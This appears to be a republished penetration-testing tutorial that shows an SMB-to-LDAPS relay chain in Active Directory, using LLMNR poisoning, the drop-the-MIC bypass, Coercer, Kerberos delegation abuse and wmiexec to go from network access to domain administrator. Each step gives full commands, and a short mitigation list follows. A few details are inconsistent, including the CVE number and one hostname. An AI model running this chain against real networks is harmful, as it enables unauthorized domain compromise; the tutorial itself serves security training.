In An SMB Relay Race – How To Exploit LLMNR and SMB Message Signing for Fun and Profit, Jordan Drysdale1 shared the dangers of lack of SMB Signing requirements and demonstrated an attack path which can allow an attacker to escalate from zero to Domain Admin (DA) in an Active Directory environment. In this article, we will build off the SMB relay techniques discussed in that blog post and demonstrate an SMB to LDAP(S) relay attack.
The domain attribute used to determine how many computers a user can join to the domain is called ms-ds-machineaccountquota.2 By default, any authenticated domain user can join up to 10 computers to an Active Directory domain. Joining a computer to the domain creates a domain object (computer object).
This configuration can be dangerous. Joining a computer to the domain should require approval from an administrator and an organization should have processes in place to ensure that domain computers have the standard security configurations, group policies, endpoint protection applied. Additionally, the process should update the organization’s device inventory.
Imagine we have gained a foothold in the target organization Foobar’s environment. LDAP is only available on domain controllers. Therefore, we must target a domain controller in an LDAP relay attack. We have performed some basic reconnaissance and located the target domain controller DC01.foobar.com (10.10.10.1).
We can set up an LDAP relay targeting the discovered domain controller using the following Impacket3 ntlmrelayx.py arguments:
-t: Target to relay the credentials to-wh: Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host--add-computer – create domain computer object-smb2support – SMB version 2 supportThe full command:
ntlmrelayx.py \
-t ldaps://10.10.10.1 \
-wh [email protected] \
-smb2supportAs demonstrated in the figure below, we received a connection via SMB. However, attempting to relay SMB to LDAP resulted in the following error: “[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP).”
This behavior is expected. Typically, SMB traffic cannot be relayed to LDAP(S). NTLM authentication consists of three message types: NTLM_NEGOTIATE, NTLM_CHALLENGE, and NTLM_AUTHENTICATE. A field known as the Message Integrity Code was added to the NTLM_AUTHENTICATE message to prevent message tampering.
A vulnerability was published in 2019 revealing a flaw that allowed an attacker to bypass the NTLM Message Integrity Check (MIC).4 This issue is known as the “drop the MIC” vulnerability and allows an attacker machine-in-the-middle position to tamper with the NTLM authentication by removing the integrity check. When MIC is not included, the connection from SMB can be relayed to LDAPS.
Once again, let’s imagine we have gained a foothold in the target organization Foobar’s environment. At this point, we have network level access, and we located the target domain controller DC01.foobar.com (10.10.10.1).
To provide a brief initial attack summary:
We can exploit systems vulnerable to CVE-2019-10405 and relay SMB connections to LDAPS by adding the --remove-mic flag to our Impacket command. Assuming the target domain has the default machine account quota or a policy greater than zero, we can use the --add-computer flag to create a computer object. If the attack is successful, a computer object with the name “snowmachine2$” would be added to the target domain.
The full command is shown below.
ntlmrelayx.py \
-t ldaps://10.10.10.1 \
-wh [email protected] \
--add-computer 'snowmachine2' <PASSWORD>\
--remove-mic \
-smb2support
Next, we will configure Responder to poison LLMNR and NetBIOS traffic and automatically pass the NTLM authentication to our Impacket relay by turning the SMB and HTTP servers off. To turn off the Responder servers, we must edit the Responder.conf file:
As shown in the figure below, the relay attack was successful. Credentials for a low privileged user account named FOOBAR/bspears were relayed over LDAPS to create the computer object snowmachine2$.
We have effectively escalated from network access to domain account access. We can test our computer account credentials using CrackMapExec6 and query the ms-ds-machineaccountquota.
crackmapexec ldap DC01.foobar.com -u snowmachine2$ -p REDACTED -M MAQ
Authenticate as Snowmachine2$ and Get MAQ
We can use these domain credentials to enumerate domain information and explore paths of privilege escalation.
If we have two domain controllers, and at least one domain controller can be coerced to authenticate to our attacker machine, we can expand upon this attack by relaying credentials from one domain controller to another and creating a computer object with delegation rights to a domain controller.
Scenario Details:
We can elevate privileges from a standard domain computer account (snowmachine2$) to a domain administrator account by following the procedure outlined below:
By adding the --delegate-access flag to our ntlmrelayx.py command, we can tell ntlmrelayx to create a computer object with delegation access to the relayed account.:
ntlmrelayx.py
-t ldaps://DC01.foobar.com \
-wh bhispad \
--add-computer 'DcMachine' <PASSWORD>\
--delegate-access\
--remove-mic \
-smb2supportCoercer7 is a python tool used to coerce Windows machines to authenticate to an attacker machine by abusing various vulnerable RPC functions.
Using the domain credentials obtained from our new computer account snowmachine2$, we can use Coercer to force the victim machine (DC02) to authenticate to the attacker host (10.10.10.200).
**Side Note: In some cases, a relay attack may not require domain credentials. For example, if the victim host is not patched against CVE-2021-36942.8**
The Coercer arguments required are as follows:
-u - Domain Username
-p - Password for User
-d - Target Domain
-l - Listener IP (Our Relay)
-t - Target
The complete Coercer command is shown below.
coercer coerce \
-u snowmachine2$ \
-p REDACTED \
-d foobar.com \
-l 10.10.10.200 \
-t DC02.foobar.com
The Coercer response shown below [+] (ERROR_BAD_NETPATH) indicated that the coercion was successful.
As shown in the figure below, we successfully created a computer object with Delegation Rights to DC02.
Our new computer account, DcMachine$ was created with privileges that allow the account to impersonate any user on the domain controller DC02, essentially any domain account including a Domain Admin.
Let’s demonstrate this by impersonating the domain admin DA_Dan. To impersonate the domain admin, we will use Impacket’s getST module to request a Kerberos ticket on behalf of DA_Dan.
getST.py -spn 'cifs/DC02.foobar.come' \
'foobar.com/DcMachine$' \
-impersonate 'DA_Dan' \
-dc-ip 10.10.10.1
export KRB5CCNAME=DA_Dan.ccache
Using the Kerberos authentication, we can establish an interactive shell on DC02 impersonating the domain admin DA_Dan.
wmiexec.py -k -no-pass FOOBAR.COM/'DA_Dan'@DC02.foobar.com
To summarize, we successfully escalate privileges from network access to domain administrator via two relay attacks. Each attack relayed an incoming SMB connection to an LDAPS connection, which was possible because the target systems were not patched against CVE-2019-1040.
The first attack allowed us to gain our initial set of domain account credentials by relaying SMB connections to LDAPS.
Next, we elevated privileges from a standard domain computer account to a domain administrator account via a second relay attack which involved coercing a domain controller to authenticate to our attacker machine and creating another computer object with delegation rights to the domain controller.
Weak Active Directory Object Creation:
MS-DS-MachineAccountQuota attribute and disallow non-administrative computer joins to the domain Network Poisoning and Relay Attacks:
Ready to learn more?
Level up your skills with affordable classes from Antisyphon!
Available live/virtual and on-demand
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。